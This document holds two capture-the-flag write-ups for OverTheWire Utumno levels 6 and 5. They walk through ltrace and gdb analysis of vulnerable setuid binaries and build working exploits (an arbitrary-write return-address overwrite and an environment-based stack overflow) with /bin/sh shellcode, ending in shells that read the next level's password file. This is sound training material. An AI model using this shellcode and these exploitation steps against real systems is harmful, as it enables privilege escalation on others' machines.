OverTheWire.org - Utumno - Level 6 Writeup

Let's try to run the code a few times and observe what happens

utumno6@utumno:~$  /utumno/utumno6
Missing args

utumno6@utumno:~$  /utumno/utumno6  A
Missing args

utumno6@utumno:~$ /utumno/utumno6  A A
Segmentation fault

utumno6@utumno:~$ /utumno/utumno6  A A A
Table position 0 has value 10
Description: A

It does something only when there are three command-line parameters.

Let's look at function calls with ltrace:

utumno6@utumno:~$ ltrace /utumno/utumno6  A A A
__libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8c3, 0, 16, 0x804a008)                                                            = 10
strtoul(0xffffd8c1, 0, 10, 0x804a008)                                                            = 0
strcpy(0x804a008, "A")                                                                           = 0x804a008
printf("Table position %d has value %d\nD"..., 0, 10, "A"Table position 0 has value 10
Description: A
)                                       = 45
+++ exited (status 0) +++

We see two calls to strtoul(): most probably passing the command line parameters.
Let's use numeric parameters

utumno6@utumno:~$  /utumno/utumno6  2 3 4
Table position 2 has value 3
Description: 4

utumno6@utumno:~$ ltrace /utumno/utumno6  1 2 3
__libc_start_main(0x80484db, 4, 0xffffd794, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8c3, 0, 16, 0x804a008)                                                            = 2
strtoul(0xffffd8c1, 0, 10, 0x804a008)                                                            = 1
strcpy(0x804a008, "3")                                                                           = 0x804a008
printf("Table position %d has value %d\nD"..., 1, 2, "3"Table position 1 has value 2
Description: 3
)                                        = 44
+++ exited (status 0) +++

The sequence of operations that the vulnerable code executes are:

  • allocates 32 bytes in the heap with a malloc(32) 
  • executes two conversion from string to unsigned long with strtoul()
    • the first parameter is converted as base 10 number
    • the second as base 16 
    • they are stored somewhere on the stack 
  • Copies the third parameter on the heap with strcpy 


Now let's disassemble and add a few comments to explain the code

utumno6@utumno:~$ gdb /utumno/utumno6
...
(gdb) disas main
   0x080484fd <+34>:    call   0x8048380 <malloc@plt>
   0x08048502 <+39>:    add    $0x4,%esp
   0x08048505 <+42>:    mov    %eax,-0x34(%ebp)
# malloc stored its output (the target buffer address) into -0x34(%ebp)

   0x08048530 <+85>:    call   0x80483b0 <strtoul@plt>
   0x08048535 <+90>:    add    $0xc,%esp
   0x08048538 <+93>:    mov    %eax,-0x4(%ebp)
   0x08048548 <+109>:   call   0x80483b0 <strtoul@plt>
   0x0804854d <+114>:   add    $0xc,%esp
   0x08048550 <+117>:   mov    %eax,-0x8(%ebp)
# The strtoul stored first parameter in -0x4(%ebp) and the second in -0x8(%ebp)

   0x0804856d <+146>:   mov    -0x8(%ebp),%eax
   0x08048570 <+149>:   mov    -0x4(%ebp),%edx
  
# It copied the first parameter in eax and the second parameter in edx
   
   0x08048573 <+152>:   mov    %edx,-0x30(%ebp,%eax,4)
# Then it wrote the second parameter in a location that is influenced by the first parameter (via %eax)

An idea could be to use the first parameter to advance on the stack to reach the location of return address of main().
Then overwrite it using the second parameter so that the return address points to the buffer containing the third parameter. And put a shellcode as third parameter.

Unfortunately it's not possible because there is a check on the first parameter: it must lower than decimal 10.
So we can't go up the stack enough to reach the return address location!

   0x08048553 <+120>:   cmpl   $0xa,-0x8(%ebp)
   0x08048557 <+124>:   jle    0x804856d <main+146>

Well, what about using a negative number for the first parameter?
 We may be able to go down on the stack to reach some other areas.

Let's try with -1:

utumno6@utumno:~$ /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE
Segmentation fault

Mmmmh interesting... let's check what happens with ltrace

utumno6@utumno:~$ ltrace /utumno/utumno6 -1 41414141 BBBBCCCCDDDDEEEE
__libc_start_main(0x80484db, 4, 0xffffd774, 0x80485b0 <unfinished ...>
malloc(32)                                                                                       = 0x804a008
strtoul(0xffffd8ad, 0, 16, 0x804a008)                                                            = 0x41414141
strtoul(0xffffd8aa, 0, 10, 0x804a008)                                                            = 0xffffffff
strcpy(0x41414141, "BBBBCCCCDDDDEEEE" <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Whoa... we controlled the location target of the strcpy with the second parameter.

So we can now find a way to exploit it:

  • put an EGG on the stack with some NOP sled 
  • find its location on the stack 
  • use -1 as first parameter 
  • use location of the return address as second parameter 
  • use the location of the EGG as third paramter (4 bytes to be copied, no more!) 
In this way we should be able to trigger a strcpy that writes the address of EGG over the return address of main()

Let's set the EGG with some NOP sled and a standard shellcode:

export EGG=$(python -c 'print "\x90"*100 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80"')


With a few runs in gdb we can find the return address is located at 0xffffd64c
So we can exploit and get a shell (gdb drops prvivileges)

utumno6@utumno:~$ gdb /utumno/utumno6
...
(gdb) set args -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"')
(gdb) r
Starting program: /utumno/utumno6 -1 ffffd64c $(python -c 'print "\x60\xde\xff\xff"')
Table position -1 has value -10676
Description: `¦¦¦
process 3207 is executing new program: /bin/dash
$ 

And now outside gdb: we have to add some bytes to the return address (usually 0x10 bytes)

utumno6@utumno:~$ /utumno/utumno6 -1 ffffd65c $(python -c 'print "\x60\xde\xff\xff"')
Table position -1 has value -10660
Description: `¦¦¦
$ id
uid=16006(utumno6) gid=16006(utumno6) euid=16007(utumno7) groups=16006(utumno6)
$ cat /etc/utumno_pass/utumno7
t********e
$

OverTheWire.org - Utumno - Level 5 Writeup

If we run the executable it output the same text as the vulnerable code in level 2

Let's disassemble it and look at the code


utumno5@utumno:/tmp/u5$ gdb /utumno/utumno5
...
(gdb) disassemble main
Dump of assembler code for function main:
   0x08048516 <+0>:     push   %ebp
   0x08048517 <+1>:     mov    %esp,%ebp
   0x08048519 <+3>:     cmpl   $0x0,0x8(%ebp)
   0x0804851d <+7>:     je     0x8048533 <main+29>
   0x0804851f <+9>:     push   $0x80485f0
   0x08048524 <+14>:    call   0x8048380 <puts@plt>
   0x08048529 <+19>:    add    $0x4,%esp
   0x0804852c <+22>:    push   $0x1
   0x0804852e <+24>:    call   0x8048390 <exit@plt>
   0x08048533 <+29>:    mov    0xc(%ebp),%eax
   0x08048536 <+32>:    add    $0x28,%eax
   0x08048539 <+35>:    mov    (%eax),%eax
   0x0804853b <+37>:    push   %eax
   0x0804853c <+38>:    push   $0x80485f5
   0x08048541 <+43>:    call   0x8048360 <printf@plt>
   0x08048546 <+48>:    add    $0x8,%esp
   0x08048549 <+51>:    mov    0xc(%ebp),%eax
   0x0804854c <+54>:    add    $0x28,%eax
   0x0804854f <+57>:    mov    (%eax),%eax
   0x08048551 <+59>:    push   %eax
   0x08048552 <+60>:    call   0x80484db <hihi>
   0x08048557 <+65>:    add    $0x4,%esp
   0x0804855a <+68>:    mov    $0x0,%eax
   0x0804855f <+73>:    leave
   0x08048560 <+74>:    ret
End of assembler dump.

The third line checks if argument array is NULL.
If it's not it calls puts() and exits.
It argument array is null proceed to the code.
Very very similar to level2, but in this case it calls a function hihi() instead of calling a strcpy().

Let's follow the same approach and create a run.c file that calls the executable file passing a NULL argument array

1
2
3
4
5
6
7
8
#include <unistd.h>

int main (int argc, char *argv[])
{
    execve("/utumno/utumno5",NULL,NULL);

    return 0;
}


Running it in shell it shows a printf and a Segmentation Fault.

utumno5@utumno:~$ mkdir /tmp/utum5
utumno5@utumno:~$ cd /tmp/utum5
utumno5@utumno:/tmp/utum5$ gcc -m32 run.c -o run
utumno5@utumno:/tmp/utum5$ ./run
Segmentation fault
utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x565555f0 <unfinished ...>
execve(0x56555670, 0, 0, 0x565555b4 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffdf14, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

It executes the pruintf and write some ASCII code. It seems to print something from the environment variable. Since the code is very similar to the level2, let's try to use the same run.c adding a list of ten custom environment variable elements

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[10];

    sc[0]="/utumno/utumno5";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";
    sc[4]= "DDDD";
    sc[6]= "EEEE";
    sc[7]= "FFFF";
    sc[8]= "GGGG";
    sc[9]= "HHHH";
    
    execve("/utumno/utumno5",NULL,sc);
    
    return 0;
}


And then running it:

utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...>
execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffde94, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "HHHH"Here we go - HHHH
)                                                              = 18
strlen("HHHH")                                                                                   = 4
strcpy(0xffffdde0, "HHHH")                                                                       = 0xffffdde0


We were able to trigger the strcpy function with the 10th element of the environment. So now let's use a longer string for this 10th element using
sc[9]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH";

utumno5@utumno:/tmp/utum5$ ltrace ./run
__libc_start_main(0x565555a0, 1, 0xffffd794, 0x56555640 <unfinished ...>
execve(0x565556c0, 0, 0xffffd6b8, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffde94, 0x8048570 <unfinished ...>
write(1, "Here we go - AAAABBBBCCCCDDDDEEE"..., 46Here we go - AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
) = 46
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

The execution flow (EIP) was changed to 0x45454545 (ASCII "EEEEE")

I tried to exploit with the JMP ESP tecnique as in Level 2 but it didn't work.

 The reason is that the esp register after strcpy is not pointing to the shellcode. 
It may have something to do with the hihi() function that executes the strcpy and changes esp register.

So let's try to put an EGG on the environment just after exploiting string.
we have to guess the return address  that must point somewhere in the NOP sled

After a few tries with gdb I discovered  that a NOP sled is around address 0xffffdf80:


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <unistd.h>

int main (int argc, char *argv[])
{
    char *sc[12];

    sc[0]="/utumno/utumno5";
    sc[1]= "AAAA";
    sc[2]= "BBBB";
    sc[3]= "CCCC";
    sc[4]= "DDDD";
    sc[6]= "EEEE";
    sc[7]= "FFFF";
    sc[8]= "GGGG";
    sc[9]= "AAAABBBBCCCCDDDD\x80\xdf\xff\xff";
    sc[10]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
           "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80";
    sc[11]=NULL;
    
    execve("/utumno/utumno5",NULL,sc);
    
    return 0;
}


And finally

utumno5@utumno:/tmp/utum5$  ./run
Here we go - AAAABBBBCCCCDDDD¦¦¦¦
$ id
uid=16005(utumno5) gid=16005(utumno5) euid=16006(utumno6) groups=16005(utumno5)
$ cat /etc/utumno_pass/utumno6
e********h
$